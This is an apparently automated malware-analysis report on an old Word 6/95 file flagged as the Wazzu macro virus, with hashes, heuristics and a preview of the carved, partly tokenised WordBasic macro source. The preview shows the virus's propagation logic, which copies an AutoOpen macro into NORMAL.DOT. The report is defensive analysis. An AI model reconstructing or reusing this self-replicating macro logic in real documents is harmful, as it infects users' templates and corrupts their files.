Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6349b8396b092827…

MALICIOUS

Office (OLE)

6.5 KB First seen: 2012-06-14
MD5: 66ef770b980631201bb71655c1e66911 SHA-1: 66e6b8c5d91fcc9e716bbe615774af47c3ec6514 SHA-256: 6349b8396b092827535ec11c2b096f7515763f5f933a23c05a674d83aaaa02ee
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits legacy WordBasic macro virus markers, specifically 'RSN MACRO VIRUS', and the document body reinforces this with similar phrasing. While no specific malicious script was extracted, the presence of these markers and the document's content suggest an attempt to execute legacy macro code, likely for malicious purposes.

Heuristics 3

  • ClamAV: Win.Trojan.Wazzu-17 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Wazzu-17
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 550 bytes
SHA-256: 4f0cf1e8d4f0d92f4a8d13de55b561604faa02e21e4b86363ed2882fa4a1b0f0
Preview script
First 1,000 lines of the extracted script
MAIN
, - * HITCH
@cmd0056
ABC @cmd0056
ABC
FileMacro$ = ABC = "\" = ABC @cmd0700 ":AutoOpen"
GlobMacro$ = "Global:AutoOpen"
MacroFile$ = @cmd80af @cmd8009 @cmd818e @cmd80b8 0 , 10
MacroFile$ = "NORMAL.DOT"
@cmd80c2 GlobMacro$ , FileMacro$
@cmd0054 = 1
@cmd80c2 FileMacro$ , GlobMacro$
POINTER
* SEEYA
, - * 0
POINTER
A = 1 3
@cmd800e
RANDOMWORD
@cmd8116
SelWord$ = @cmd8015
@cmd001c
RANDOMWORD
@cmd8012 SelWord$ = " "
@cmd800e
RANDOMWORD
@cmdc010
RANDOMWORD
@cmd0056
ABC @cmd004e
ABC
WordNum = @cmd8002 @cmd800e @cmd8006 ABC
@cmdc010
@cmdc003 WordNum

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